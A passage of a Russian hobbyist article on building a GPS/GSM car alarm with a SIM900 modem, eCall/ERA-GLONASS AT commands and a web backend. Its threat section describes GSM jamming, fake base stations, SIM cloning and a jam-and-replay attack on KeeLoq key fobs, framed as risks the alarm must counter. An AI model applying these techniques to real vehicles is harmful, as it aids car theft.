Тут необходимо отметить, что высчитывать путь по показаниям гироскопа и спидометра силами Cortex M3 – весьма сомнительная задача. Данные необходимо отправлять на сервер, на котором уже и будет производиться расчёт. Но в случае, если мы готовы отказаться от Глонасс, оставив только GPS, можно присмотреться к GPS-модулям LEA-6R – он имеет функцию DR (dead reconing), позволяющую подключить к модулю напрямую дополнительные каналы получения информации о пути — гироскоп и спидометр. Соответственно как микроконтроллер, так и сервер разгружаеся в этом случае в плане расчета координат – этим занимается уже сам модуль, выдавая готовые данные по NMEA. Что значительно снижает время и трудоёмкость разработки готового устройства. Жаль, но подобных решений, поддерживающих Глонасс, пока на горизонте не видно.: — (
А теперь — самое время рассмотреть работу с GSM-модемом.
**GSM/GPRS модуль SIM900**
Раньше во встраиваемых системах было распространено использование gsm-модуля sim300, но вскоре ему на замену пришёл sim900 (21$), а через некоторое время – начался выпуск его облегчённой бюджетной версии sim900r (в отличии от sim900, это – двухдиапазонный модуль с уменьшенной памятью программ и с ограничением по использованию в странах – только по России и приграничных странах). SIM900 является четырёхдиапазонным (850/900/1800/1900) GSM/GPRS модулем со встроенным TCP/IP-стеком. Позволяет отправлять MMS-сообщения, имеет встроенную поддержку протоколов прикладного уровня HTTP, FTP, а в последних прошивках – декодирование DTMF, возможность детектирования глушения сигнала GSM (Jamming Detection) и поддержка систем спасения eCall / ЭРА-ГЛОНАСС (о последнем будет рассказано подробно чуть ниже). Управлять модемом можно посредством AT-команд, подключать – через UART или I2C.
Разводить плату под этот модуль для отладки самостоятельно – дело неблагодарное, тем более, что отладочная плата для этого модуль совсем недорогая – 65$, поэтому её и рекомендую брать:
Для поддержки Эра-Глонасс, DTMF-декодирования и т.д. нужно обновить прошивку – для этого обратиться к дистрибьютору в своём регионе (я обращался в МТ-Систем), после чего прошить её через debug-порт.
Отлаживать работу с модулем удобней с компьютера. Благо я изначально в устройство закладывал поддержку USB для задания настроек, то сделал так: подключил библиотеку от ST для реализации USB CDC – класса, что дало возможность общаться с устройством через любую терминалку, работающую с последовательным портом (устройство видется в системе как виртуальный ком-порт). Устройство шлёт команды модулю SIM900, при этом в модуле включён эхоповтор – т.е. всё, что ему шлётся, он высылает обратно, вместе с ответом. А весь ответ с UART от SIM900 микроконтроллер шлёт по USB, мне в терминалку. Т.е. в процессе взаимодействия устройства с SIM900 на экране наглядно виден весь процесс общения + с терминалки появляется возможность управлять процессом общения, устанавливая своеобразные брейкпоинты. Это значительно упрощает написание функционала по работе с SIM900 и его отладку.
Начало работы с модулем SIM900 описано [здесь](http://we.easyelectronics.ru/part/gsm-gprs-modul-sim900.html) и [здесь](http://we.easyelectronics.ru/part/gsm-gprs-modul-sim900-chast-vtoraya.html), поэтому остановлюсь на наиболее интересных моментах:
**SIM900: GPRS**
Устройство по умолчанию раз в минуту отсылает данные (текущие координаты, скорость автомобиля и др.) на web-сервер и получает с него настройки. Давайте на простом примере посмотрим, как можно реализовать отправку данных по HTTP на свой сервер (оператор в нашем случае – МТС):
`< AT+CREG? // Проверяем, зарегистрирован ли модуль в сети`
**SIM900: Защита от глушения GSM-сигнала**
Злоумышленник может спокойно нарушить связь нашего устройства с сервером через GSM-канал, и для этого у него есть 3 пути:
1) Глушение GSM-сигнала
— при помощи такого нехитрого устройства стоимостью 119$ можно в радиусе 5-20 метров заглушить 3G/GSM/CDMA-модемы. И тревожный канал связи спутниковой gsm-сигнализации с сервером нарушится.
2) Подмена базовой станции оператора сотовой связи
Существуют устройства, помещающиеся в чемоданчике и позволяющие выдавать себя за базовую станцию сотовой сети:
GSM-модем устройства не сможет отличить реальную базовую станцию от поддельной мобильной, и в случае тревоги не сможет отправить данные по тревожному каналу.
3) Клонирование сим-карты.
— у номера, используемого gsm-сигнализацией, появляется вторая сим-карта, находящаяся в руках у злоумышленников. И если заглушить сигнал сигнализации глушилкой из п.1, то устройство с таким номером (у злоумышленника) будет доступно и не будет подавать сигналов тревоги. Если проверка сигнализации основана на периодическом дозвоне – то дозвон будет осуществляться на поддельную сим-карту, и тревоги не вызовет.
4) Детектор поля для обнаружения радиотрансляторов (в т.ч. GSM-устройств)
— используется для локализации установленной сигнализации. Можно приобрести за 43$ такое чудо устройство:
— позволяет выявлять радиопередатчики, излучающие в диапазоне 1МГц-2.6ГГц. На экране выводится частота излучения устройства и уровень сигнала, что позволяет найти место установки сигнализации и обезвредить её.
Для защиты от п.4 на автомобиль устанавливают допонительно к штатной сигнализации gps/gsm-маячки, речь про которые пойдёт в разделе «SIM900: Использование пользовательских приложений. GPS / Глонасс – маяки.».
Для защиты от п.1 и п.3 модуль SIM900 поддерживает функцию Jamming Detection, предназначенную для выявления попытки глушения сигнала – для этого предназначена команда AT+SJDR. В случае, если модем глушат, будет выдано сообщение «+SJDR: JAMMING DETECTED». Конечно, модем не успеет связаться с сервером и передать данные о тревоге. Но устройство сможет включить сирену, заблокировать авто и запомнить, что его глушили – после возобновления связи эта информация уйдёт на сервер.
Для защиты от всех вышеприведённых пунктов в современных спутниковых gsm-сигнализациях применяют контроль канала связи GSM. Суть в том, что gsm-модем с заданной периодичностью связывается с сервером – например, шлёт данные по HTTP. Если в течении N последних минут модем с сервером не связался – это повод поднимать тревогу и звонить/отправлять SMS с сервера владельцу машины. Конечно, это не панацея для 100% случаев – где-то просто плохой приём GSM-сигнала. В других случаях злоумышленник может воздействовать на психику человека – периодически глуша сигнал и вынуждая владельца машины выбегать к своей машине. Через какое-то время владельцу это надоест и он отключит контроль канала связи, дав тем самым зелёный свет угонщику авто. Но тем не менее, контроль канала связи оказывается ощутимым подспорьем в решении задачи защиты от угона.
**SIM900: Получение координат при отсутствии сигналов GPS / Глонасс**
О текущем месторасположении машины мы получаем координаты от GPS / Глонасс – спутников. Но может возникнуть ситуация, при которой получение этих координат невозможно (например, нет сигнала). Вариант расчёта в этом случае координат через связку спидометр+гироскоп я уже рассмотрел выше. Но есть и другое решение — нам на помощь могут прийти базовые станции оператора сотовой связи, к одной из которых мы и подключены. От базовых станций мы можем получить такую информацию, как LAC и CELLID (код зоны и идентификатор базовой станции соответственно). Эта информация однозначно идентифицирует данную базовую станцию среди прочих текущего оператора сотовой связи. А координаты базовых станций широко известны. Поэтому, зная, к какой базовой станции модем подключён, можно определить географические координаты (долготу и ширину) этой станции, а тем самым – и примерные координаты нахождения самого модема. Географические координаты по lac и cellid базовых станций можно получить через API-интерфейс Яндекса, Google, opencellid.org, location-api.com. К слову говоря, операторы сотовой связи не публикуют в свободном доступе координаты своих базовых станций. Поэтому тот же Яндекс получает эти сведения от своих ползователей, у которых загружены приложения Яндекс и имеется в телефоне gps-приёмник. Приложение Яндекс с gsm-модема телефона получает cellid и lac базовой станции, а с gps-приёмника – текущие географические координаты, и отсылает на сервер Яндекса – таким образом и пополняются списки географических координат базовых станций БиЛайн, МТС и Мегафон.
Итак, мы хотим определить свои координаты по GSM. Для этого модулю SIM900 нужно подать команду AT+CREG=2 – он выдаст ответ в формате +CREG: ,,. Также этот ответ автоматически будем получать при смене модемом текущей базовой станции. Далее эти и передаём через GPRS на наш сервер. Сервер на базе этих данных берёт географические координаты из своего кеша, а при отсутствии в кеше – делает запрос на один из сервисов определения координат базовых станций – например, Яндекс, и получаем в формате координаты. Более подробно по использованию этих сервисов можно почитать на <http://www.xakep.ru/post/48378/>
В результате пользователю на сайте выдаём карту с заштрихованной областью, которая показывает примерное нахождение автомобиля на основе gsm-координах.
В модемах SIM900 не так давно появились команда AT+CIPGSMLOC, сразу выдающая сразу географические координаты gsm-сети. Но ничего принципиального нового она в себе не несёт – эта команда выполняет всё то, что я написал выше. Получает lac, ci, отправляет их в Google и выдаёт результат.
Заодно отмечу, что некоторые модемы имеют возможность последовательно подключаться ко всем в БС в зоне видимости. Этим можно воспользоваться для уточнения gsm-координат — в таком случае мы можем узнать lac, ci всех ближайших БС, узнать по ним географические координаты – они будут вершинами полигона, в котором и находится наш модуль:
**SIM900: Использование пользовательских приложений. GPS / Глонасс – маяки.**
Автомобильная спутниковая сигнализация – это, конечно, хорошо. Но её могут найти и деактивировать. Например, при помощи детектора поля, рассмотренного выше. На помощь приходят gps/gsm-маяки, представляющие собою миниатюрные устройства с GPS (или GPS / Глонасс) приёмником, GSM-модемом и аккумулятором. Такие маяки сложно обнаружить визуально, т.к. они хорошо прячутся в скрытых местах автомобиля. Детектором поля их сложно выявить – т.к. большую часть времени такой маяк просто спит, лишь изредка просыпаясь, чтобы зарегистрироваться в сети, передать на сервер свои координаты, и снова заснуть.
Может возникнуть вопрос – а как же микроконтроллер? Ответ – он не нужен. В современных GSM-модемах имеется специальная область памяти для запуска пользовательских приложений. Например, в модемах Sierra Wireless используется операционная система OpenAT, в среде которой могут выполняться ваши программы. А SIM900 поддерживает технологию Embedded AT – вы просто создаёте свою программу в среде SIM900DevIDE, загружаете его с прошивкой в модем – и радуетесь жизни. Нет необходимости тратиться на отдельный контроллер – модем буде сам снимать данные с GPS/Глонасс-приёмника и отсылать на Ваш сервер. Вместе со средой SIM900DevIDE уже идут примеры программ, так что с чистого листа писать своё приложение не придётся.
**SIM900: системы спасения eCall / ЭРА-ГЛОНАСС.**
ЭРА-Глонасс – это система, предназначенная для снижения смертности и травматизма на российских дорогах, основанная на применении Глонасс. Если человек попадает в ДТП – автомобиль, оснащённый терминалом данной системы, способен самостоятельно, без участия челвовека, вызвать экстренные службы. Также имеется ручная возможность их вызова, по нажатию кнопки «SOS» (нечто похожее есть в Volvo On Call и Lexus Link, но там это платные услуги + стоимость самого оборудования довольно высока). Для того, чтобы автомобили, следующие из стран ЕС к нам, могли и в России получить экстренную помощь, и наоборот, чтобы наш автомобиль, оборудованный терминалом ЭРА-ГЛОНАСС, мог работать с западной инфраструктурой при выезде за границу, существует полная совместимость с европейской системой eCall. Т.е. если у нас есть поддержка ЭРА-ГЛОНАСС – то будучи за границей в странах ЕС, мы сможем воспользоваться системой экстренного реагирования eCall. По предварительным прогнозам, применение терминалов систем ЭРА-Глонасс/eCall позволит в Европе спасать ежегодно 2500 жизней, в России – 4000 жизней, и примерно на 14% снизить последствия травматизма в результате ДТП. Пока идёт лишь тестирование и развёртывание систем ЭРА-Глонасс и eCall. Окончательный запуск в эксплуатацию eCall намечен на 2014 год, а ЭРА-Глонасс – на конец 2013 года (мы оптимисты, однако!). С 2013 года все выпускаемые с конвеера автомобили должны уже иметь поддержку ЭРА-ГЛОНАСС. Но пройдёт ещё не один десяток лет, прежде чем у большей части нашего населения появятся автомобили с уже встроенным терминалом ЭРА-ГЛОНАСС / eCall, поэтому встроенная поддержка в наших устройствах этих систем ещё долго будет нести собой весьма значимое конкурентное преимущество, тем более, что в плане аппаратной реализации данная поддержка не несёт в себе дополнительных материальных затрат.
Терминал ЭРА-ГЛОНАСС несложно сделать и самому – для этого уже появились модемы, поддерживающие технологию передачи данных по голосовому каналу – функцию in-band modem. Давайте посмотрим, как это работает:
Но вначале ответим на вопрос – почему бы просто не использовать обычные GPRS, SMS? Дело в том, что они вносят существенную задержку при передаче данных. В режиме in-band modem данные передаются мгновенно, такому вызову будет выделяться максимальный приоритет оператором мобильной связи, даже в случае перегрузки сотовой сети. Если сеть перегружена – то активные вызовы других абонентов будут разрываться, чтобы ваш терминал мог связаться со службой 112.
В случае ДТП (определяется по показаниям датчиков автомобиля), либо если сами нажмёте кнопку SOS – то делаем экстренный вызов на службу 112 и отправляем на PSAP-сервер (в России – на PSAP-сервер федерального оператора НИС-ГЛОНАСС, который поддерживает версию 3GPP 8.6.0/9.4.0. PSAP расшифровывается как Public Service Answering Point) MSD-сообщение (MSD-Minimum Set of Data, минимальный набор данных) с ограничением в 140 байт, в котором содержится следующая информация:
1) Control data: является ли вызов тестовым, можно ли доверять указанным геокоординатам, тип автотранспорта (пассажирский автомобиль (класс M1), городской/междугородний автобус (M2-M3), легкий коммерческий автомобиль (N1), грузовик (N2, N3) мотоцикл – классы L1e-L7e)
2) Vehicle identification data: VIN-номер вашей машины
3) Vehicle propulsion storage type: на чём ездит ваша машина (газ, дизель, бензин, водород, электродвигатель) – можно одновременно указывать несколько значений (в случае если, например, машина использует как газ, так и электрическую энергию для передвижения)
4) Time stamp: Указываем текущую дату, включая секунды
5) Current location of vehicle: указываем географическую долготу и ширину, получаемые с нашего GPS / Глонасс – модуля. Если не знаем – можно просто не заполнять поле.
6) Direction of vehicle: направление движения машины по встроенному в терминал магнитометру, в градусах, причём 0 – это магнитный север. Отсчёт идёт по часовой стрелке, шагами в 2 градуса. Т.е. если отклонение в 120 градусов у нас от магнитного севера – то в MSD указываем значение 60. Либо просто 0xFF, если направление движения не известно.
7) Location delta with respect to vehicle Location, Location delta with respect to recentVehicleLocationN1: Разница в географических координатах между текущими координатами и теми координатами, которые были зафиксированы в момент происшествия. Эти поля также не является обязательным для заполнения.
8) Number of passengers: минимально известное количество пассажиров. Если не знаем – указываем 0xFF. Автоматически высчитывается следующим образом: в ремнях безопасности машины имеются датчики, фиксирующие, защёлкнут ли ремень безопасности (для нас это означает, что пассажир занял соответствующее место) — количество активированных датчиков и записываем в это поле.
9) Optional additional data: любая дополнительная информация (binary/bcd/xml/asn.1/ascii), формат жестко не регламентируется.
10) CRC32 – контрольная сумма CRC32 нашего MSD-сообщения
Суммарная длина MSD не может превышать 140 байт. Соединение по умолчанию инициируется клиентом (т.е. нами), но может инициироваться и PSAP-сервером службы 112.
Одним из первых модемов, в котором реализовали режим in-band modem для работы с eCall / ЭРА-ГЛОНАСС, был модем SL6087 компании Sierra Wireless. Но пару месяцев назад такая поддержка появилась и в прошивке для используемых мной модемов SIM900 компании SimCom. Причём есть возможность не только отправить уже сформированное готовое MSD-сообщение:
`AT+CMSD=”015C0681508204420014264000420D101404E80DA4C89A3B2F09905B6440E829F6829EC020301027D04303046460”
AT+CECALL="112",0`
, но и переложить эту функцию на сам модем, указав значения полей MSD-сообщения через АТ-команды:
`AT+CMSDFORMATID=1
AT+CMSDMESSAGEID=1
AT+CMSDCONTROL=1,0,1,1
AT+CMSDVIN="WM9VDSVDYA123456"
AT+CMSDSTORAGE=1,0,0,0,1,0
AT+CMSDTIMESTAMP=2011,7,12,17,28,14
AT+CMSDLOCATION="48.300333","11.617367"
AT+CMSDDIRECTION=14
AT+CMSDRECENT1="10","-10"
AT+CMSDRECENT2="10","-20"
AT+CMSDPASGNUM=2
AT+CMSDBUILD
AT+CECALL=”112”,0`
У оператора службы ЭРА-ГЛОНАСС эта информация при этом отобразится следующим образом:
Для тестирования вовсе необязательно обращаться в НИС-Глонасс – можно организовать тестовый PSAP-сервер на своей стороне с модемом на OpenAT, подробнее можно почитать [здесь](http://forum.wirelessinfo.ru/viewtopic.php?f=22&t=28&p=134)
Устройство, реализующая данный функционал, размещаем в металлическом корпусе, выдерживающем нагрузку в 40G (ведь устройство должно функционировать в случае ДТП), и имеющем встроенный аккумулятор для автономной работы.
Также, дополнительные требования распространяются и на сим-карту – использовать обычную сим-карту здесь малоприемлемо, т.к. в случае ДТП механический контакт сим-карты с устройством может с большой долей вероятности нарушится. Здесь приходят их аналоги для применения во встраиваемых устройствах – сим-чипы, которые имеют два основных преимущества по сравнению с сим-картами:
1) Лучший контакт ввиду отсутствия механических соединений – сим-чип напаивается на плату, а не вставляется механически в держатель,
2) Расширенный температурный диапазон (-40 … +105 градусов по Цельсию), а также повышенная устойчивость к воздействию пыли, выбрации, влажности, ударам, коррозии, химически-агрессивной среде.
Также, для сим-чипов сотовые операторы (МТС, Билайн, Мегафон) предоставляют расширенный сервис (правда, не дешёвый) для М2М-телеметрии, для контроля и мониторинга устройств, оборудованных данным чипом. Можно, например, ввести планки ограничений для предотвращения ситуаций, когда объект оказывается в роуминге и в связи с этим со счёта начинают утекать большие суммы средств.
В заключении данного раздела добавлю, что идея сама по себе имеет множество достоинств, притом реально полезных и нужных, но при всём при этом не лишена недостатков. Инфраструктура России в полной мере не подготовлена для внедрения данной технологии – только 97% территории охватывает сотовая связь, поэтому далеко не везде можно будет получить экстренную помощь. Причём даже в густонаселённых районах есть участки, где сотовая связь не работает или работает из рук вон плохо. Например, в Южном Бутово я знаю места, где воспользоваться сотовой связью довольно проблематично – порой её вообще нет. Нельзя не отметить и халатность – бывает, что позвонив на в полицию, скорую, можно так и не дождаться результата, получить отказ на выезд, хотя ситуация реально экстренная. Либо вообще не дозвониться. Вообще, многие российские государственные проекты в области информационных технологий оказываются реализованными на «тройку с минусом» — взять в пример хотя бы портал «Госуслуги», который с завидным постоянством радует нас «Ошибкой связи с ведомством» и «Internal server error», притом на самом последнем этапе оформления заявки, когда уже потратил много времени, чтобы забить все данные… Но даже если не удастся добиться 100% эффективности работы этого проекта – всё равно реализация не будет лишена смысла, поскольку в любом случае позволит снизить смертность и уровень травматизма на дорогах нашей страны, и позволит работать с экстренными службами других стран при международных поездках.
**Устройства дистанционного доступа к сигнализации: метки, брелки, gsm-устройства**
В текущей реализации моё устройство выступает в роли slave-сигнализации. Для дистанционного открывания дверей служит штатная сигнализация со своими брелками. Но рассмотрим варианты доработки самодельной сигнализации для дистанционного доступа к сигнализации для удалённого мониторинга, снятия/постановки на охрану, отпирания/запирания дверей, их достоинства и недостатки с точки зрения безопасности (т.е., автомобильные устройства СКУД):
1) обычные брелки с односторонним/двусторонним каналом передачи данных – наверняка есть у каждого из вас. Нажимаем на кнопку – машина снимается с охраны и двери отпираются. Нажимаем ещё раз – двери блокируются, машина ставится на охрану. При снятии/постановки на охрану брелок отправляет на сигнализацию (обычно на частоте 433МГц) фиксированный уникальный код. Сигнализация проверяет код в своей базе – при совпадении код принимается. Недостаток очевиден – при применении код-грабберов мы слушаем эфир, и в момент, когда владелец машины нажимает на кнопку брелка, просто тупо записываем код, который брелок вещает в эфир. В дальнейшем злоумышленник может этот код воспроизвести и разблокировать машину.
2) Дальнейшим развитием сигнализаций в этом направлении была технология «прыгающего кода» KeeLoq – здесь каждый раз код меняется, и если перехватим код-граббером переданный код, то это нам не поможет. Но тем не менее злоумышленники и к KeeLoq нашли подход. Всю математическую мощность этой технологии сводит на нет физическая реализация – подбирать код никто и не пытается. Вместо этого, посылку портят, запоминают, и передают в следующий раз. Дело в том, что каждый бит посылки KeeLoq кодируется тремя битами. Первый бит – 0, далее значащий бит, и последний – 1. Если граббером включать передатчик на месте третьего бита (глушить приёмник сигнализации), то посылка для сигнализации окажется испорченной, и будет отвергнута. Мы же таким образом запомним код сигнализации, и в дальнейшем сможем им воспользоваться (если, разумеется, до этого сигнализация не примет успешно очередную посылку с брелка). Также можно учитывать то, что брелком посылается 3 одинаковых посылок. Можно заглушить первую половину первой посылки и вторую половину второй, третью полностью – сигнализация передачу отвергнет, а у нас будет рабочий код. В итоге – математика у KeeLoq была действительно сильной, но всё свелось на нет физической реализацией
3) На смену KeeLoq пришла технология диалогового кода (использующая ассиметричные алгоритмы шифрования и частоты 2.4ГГц), которая и используется сейчас в современных сигнализациях. Взломать её ещё никому не удалось, и производители сигнализации настолько уверены во взломостойкости этой технологии, что тот же StarLine предлагает 1 миллион рублей тому, кто удасться взломать такую сигнализацию. Этот миллион рублей пока никому не выплатили. Посмотрим, как идет общение между брелком и сигнализацией:
`А) Брелок ----запрос----- > Сигнализация`
При прописывания нового брелка происходит передача открытого ключа брелка в память сигнализации, при этом используется алгоритм Диффи-Хеллмана для передачи ключей на открытых линиях связи.
Реализовать самостоятельно вполне реально, хоть и достаточно накладно. В этом плане можно присмотреться к микроконтроллерам STM32W, имеющие аппаратный ускоритель шифрования AES, работающий со 128-битными ключами, и 2.4Ггц трансивер. STM32W позволяет работать в сетях Wi-Fi, ZigBee, Bluetooth и спящем режиме имеет потребление порядка 1мкА, позволяющее использовать его в брелках. Имеются готовые отладочные наборы, позволяющие быстро освоить его беспроводные возможности (~50$).
4) RFID-метки – служат для бесконтактного доступа («свободные руки»), дальность связи – до 10 метров. Не нужно доставать из кармана и нажимать на кнопку – если метка находится в зоне действия приёмника сигнализации, то машина снимается с режима охраны. Пассивные метки представляют не имеют собственного источника питания, получают энергию по воздуху с сигнализации путём наведения токов на встроенной антенне. Активные – имеют встроенную батарейку, что позволяет снизить мощность считывателя сигнализации и увеличить дальность сязи. В основном метки работают на частоте 2.4ГГц (т.к. с увеличением частоты растёт дальность связи), и дальность связи со считывателем сигнализации составляет до 10м.
5) Сравнительно недавно в автомобильных СКУД стали применять GSM-устройства – снятие/постановка на охрану с сотовых телефонов, смартфонов. И всё чаще, глядя на будущее автомобильных сигнализаций, говорят о полном отказе от брелков в пользу GSM-устройств — смартфонов, сотовых. Но в чистом виде эта затея натыкается на грабли: нет 100% покрытия территории сотовой связью, есть большая вероятность остаться в глухом районе с заблокированной машиной и севшим смартфоном, необходимость платить за связь. Плюс сами пользователи пока не готовы отказываться от применения брелков. Тем не менее, всё движется к тому, что в скором времени придём к связке метка+смартфон, и применение брелков останется в прошлом.
В случае применения смартфонов свести на нет основные недостатки – платность gsm-связи и недостаточное покрытие сетями – можно, обеспечив сигнализацию Wi-Fi модулем, что и будет рассмотрено далее
**Обеспечение Wi-Fi доступа к сигнализации**
В современных мобильных устройствах — телефонах и смартфонах, а также нетбуков и планшетах – имеется встроенная поддержка Wi-Fi, что и можно использовать для удалённого непосредственного доступа к нашему устройству, минуя сервер. Рассмотрим наиболее популярное решение – WiFi-модуль MRF24WB0MA стоимостью 22$ от Microchip:
— увы, к нашему STM32 его напрямую не подключить, для использования модуля придётся использовать прослойку в виде микроконтроллера PIC (впрочем, на цене изделия это ощутимо не отразится), на который и залить библиотеку, реализующую TCP/IP-стек, от Microchip, поддерживающую данный модуль (впрочем, для меня самого это не проблема, т.к. на PIC’ах я и поднимался). Сам модуль подключается к PIC по SPI, а уже с PIC к нашему STM32 его можно подключить через spi/i2c/uart. Сам модуль обладает хорошей функциональностью: встроенный акселератор для AES/RC4, поддержка WEP, WPA-PSK, WPA-2-PSK. Дальность – до 400м. потребление в режиме сна – 250мкА, гибернации — <0.1мкА. Сама библиотека среди прочего имеет поддержку SSL. Кстати, отмечу, что эта библиотека одинаковым образом работает как с Wi-FI-модулями Microchip, так и с проводными Ethernet (ENC28J60 и т.д.). Т.е., когда вы работаете с этой библиотекой, нет разницы, работаете вы с Wi-Fi или Ethernet модулем – программный интерфейс один и тот же. Подробнее про библиотеку можно прочитать [здесь](http://habrahabr.ru/blogs/controllers/138081/).
**Разработка программного обеспечения для мобильных устройств**
Начиная с этого раздела, я абстрагируюсь от аппаратной реализации и буду рассматривать исключительно программную реализацию спутниковой автомобильной сигнализации на стороне сервера и мобильных устройств.
В последнее время бурное распространение получили мобильные GSM-устройства на базе операционных систем iOS (iPhone, iPad), Android, Windows Mobile, Blackberry и др., и в последнее всё большая номенклатура оборудования бытового назначения начинает обрастать поддержкой удалённого управления с этих устройств. Не остались в стороне и производители автомобильных GSM-сигнализаций, которые быстро выпустили приложения, позволяющие вести управление и мониторинг автомобилей со смартфонов. Добавить такую поддержку можно и в нашу с вами сигнализацию, которая уже умеет взаимодействовать с WEB-сервером (см. раздел по использованию TCP/IP-стека SIM900). WEB-сервер будет выступать здесь в роли посредника – ваше мобильное приложение подключается к серверу, и уже сервер взаимодействует непосредственно с сигнализацией. Само мобильное приложение реализует следующие основные функции:
1) Просмотр на карте (Google.Maps, Яндекс.Карты или OpenStreetMaps) текущего положение автомобиля
2) Бортовой компьютер – показания датчиков, температура, напряжение, сколько осталось до замены расходников и т.д.
3) Постановка/снятие с охраны
4) Удалённый запуск двигателя
5) Опционально – просмотр фотографий с камер и т.д.
Основной камень преткновения – необходимость изучать Objective-C и другие языки для разработки своего мобильного приложения под различные платформы. Тут на помощь приходят универсальные решения вроде PhoneGap:
PhoneGap – OpenSource среда, позволяющая кросс-платформенно разрабатывать приложения для почти всех известных платформ (iOS, Android и т.д.) на HTML5, используя Mobile jQuery и CSS. Приложение фактически является web-страницей, которая имеет доступ к аппаратной периферии смартфона (акселерометр, камера, GPS и т.д.). PhoneGap не лишён недостатков, и при промышленном применении необходимо всё же отказаться от кросс-платформенного подхода в пользу нативного – Objective-C. Но на первых порах он служит хорошую службу (особенно тем, кто по роду деятельности и так связан с web-разработкой), позволяя «малой кровью» обеспечить поддержку мобильных устройств.
Более подробно про PhoneGap можно почитать [здесь](http://habrahabr.ru/blogs/webdev/118059/)
**Программное обеспечение web-сервера**
Пришла пора разобраться с реализацией web-сервера, который будет посредником во взаимодействии сигнализации и устройств, имеющих подключение к Интернет (смартфоны, нетбуки, планшеты, обычные компьютеры и т.д.). Web-сервер выполняет в нашем случае следующие функции:
1) Получает данные с gsm-сигнализаций и отдаёт им текущие настройки
2) Предоставляет web-интерфейс владельцам сигнализаций для мониторинга и управления сигнализациями
3) Обеспечивает доступ к данным с мобильных приложений (для устройств под управлением iOS, Android и и т.д.)
4) Предоставляет XML API-интерфейс для выгрузки данных на сервера клиентов
Наглядные примеры реализации можно посмотреть на <http://panel.car-online.ru/> и <https://p-on.ru/>
Для размещения лучше выбрать облачный хостинг — в этом случае вы не ограничены жёстко в ресурсах, есть возможность гибкого масштабирования вычислительной мощности. В отличии от VPS-хостинга, здесь оплата идёт только фактически потребляемых ресурсах (при VPS приходится оплачивать ресурсы, которые большую часть времени простаивают + жёсткое ограничение по ресурсам).
Далее о структуре приложений сервера. На первых порах и при низкой нагрузке наиболее простым и обыденным решением оказывается LAMP (Linux-Apache-MySQL-PHP).
Но те, кто затачиваются на такой подход, очень быстро начинают об этом жалеть. :-)
Идёт время, растёт нагрузка, и довольно быстро наступает момент, когда текущая архитектура перестаёт справляться со своими задачами. Тогда и приходят мысли о Highload. Существует далеко не один подход, и в качестве примера рассмотрю Open-Source связку nginx+varnish+memcached+php-fpm+eaccelerator (+PHP, +MySQL). Немного о том, что это такое.
• Nginx – web-сервер, который обычно используется для отдачи статики. Популярна архитектура, в которой nginx выступает в роли front-end, проксируя запросы на динамические страницы на Apache (back-end), на котором уже и крутятся серверные скрипты. Но от применения Apache можно (и нужно) вовсе отказаться, повесив его функцию на более легковесный в работе nginx.
• php-fpm – PHP FastCGI Process Manager – выступает в нашем случае «связующим мостом» PHP для работы с nginx. Php-fpm позволяет эффективно использовать PHP в режиме FastCGI на highload-проектах.
• eAccelerator – средство, позволяющее каждый раз не выполнять интерпретацию PHP-кода. Один раз выполнили интерпретацию – и держим код в памяти для последующего использования – экономия процессорного времени и обращения к дисковым ресурсам налицо.
• Memcached – сервер кеширования данных в оперативной памяти. Серверы баз данных типа MySQL – это хорошо, но они тратят время на выполнения запросов и считывание с медленных устройств хранения данных – жёстких дисков. Гораздо быстрее данные можно выбирать из оперативной памяти, поэтому логика работы здесь такова: Делаем запрос к memcached, если искомых данных нет (пусто), то делаем запрос к серверу баз данных MySQL, и отправляем ответ в memcached. Т.е. MySQL выступает в роли медленного back-end решения, а Memcached – в роли быстрого front-end. К back-end обращаемся только один раз – чтобы разместить данные в front-end и обращаться в дальнейшем к этим данным только через front-end (пока, разумеется, они не утратят актуальность).
• Varnish – это HTTP-акселератор, позволяющий кешировать контент. В чём-то это аналог Memcached, то для существенно больших объёмов данных. Varnish сохраняет страницы в виртуальной памяти и по необходимости скидывает их на жёсткий диск. Мы можем логически разбить каждую страницу на составляющие блоки (футер, хидер, новостной блок и т.д.) и указать свои правила кеширования для каждого из блоков. В конечном итоге получаем выигрыш в скоросте отдаче страниц, и разгружаем back-end часть сервера от повторяющихся запросов.
Из дополнительных мер – посмотреть в сторону переключения MySQL на tmpfs, выстроить индексы таблиц, использовать движок хранения данных InnoDB (подходит в конкретно нашем случае), настройку sysctl.
Посмотрим одну из возможных схем архитектуры, с SSI-инклюдами. В первом случае, изначальном, у нас пустой кеш, в дело включается back-end (PHP+MySQL), а во втором – не используется, данные получаем с Varnish и Memcached:
— в первом случае nginx обращается к Varnish за страницей, которой нет в кеше – потому запрос идет на Back-end (PHP+MySQL). Кеш SSI-инклюдов хранится у нас в Memcached – и т.к. там пусто, то Nginx производит обращение к back-end части, которая отдает результат в nginx и одовременно сохраняет в кеше через Memcached.
Во втором случае мы уже не дёргаем back-end часть, данные берутся из кеша Varnish и Memcached.
Вышеизложенное не является универсальным решением – архитектура Highload проекта своя под каждую конкретную задачу – требуется на тестовом сервере реализовать решение и провести нагрузочное тестирование – попытаться максимально полно смоделировать рабочую ситуацию, учитывая максимально прогнозируемые объёмы роста нагрузки. И никогда нельзя останавливаться на достигнутом. «Я всё сделал, все работает, можно вздохнуть с облегчением и расслабиться» — так не бывает. Всё время нужно думать на шаг вперёд, прогнозируя возможные развития текущей ситуации.
**Пути дальнейшего развития**
Устройство уже и так выполняет множество функций – это и сигнализация, и бортовой компьютер, и телекоммуникационный сервис (ЭРА-ГЛОНАСС / eCall) в одном флаконе, с доступом через Интернет. Предназначено как для легковых машин, так и для грузовых, и для объектов недвижимости. Но нет предела совершенству. Если мы хотим снабдить электроникой свою машину, то приходится приобретать разрозненные устройства – магнитолу, навигатор, видеорегистратор и т.д. Приходится облеплять ими ветровое стекло, что сужает видимую область и привлекает лишний раз нечистых на руку людей к машине. На рынке сейчас нет достойного устройства – «медиакомбайна», заменяющего вышеперечисленные устройства, создающего единую точку входа для всех функций и хорошо интегрируемого со штатным оборудованием автомобилей. Даже Китай до сих пор не преуспел в этом плане. Довольно значимый шаг вперёд в этом направлении сделал Мирком:
— решение на ARM11 под управлением WinCE с gsm-модемом, gps/Глонасс-приёмником, позволяющее подключать аудио-видео источники и выводящее изображение как на отдельные дисплеи, так и на штатные автомобилей. Интегрируется со штатными системами Lexus/ Toyota/Subaru/Nissan и др. автомобилей. Задумка неплохая, это действительно значимый прорыв. Прорыв, сведённый на «нет» реализацией – устройство до сих пор слишком сырое, имеющее проблемы в работе и недостатки реализации, высокую цену.
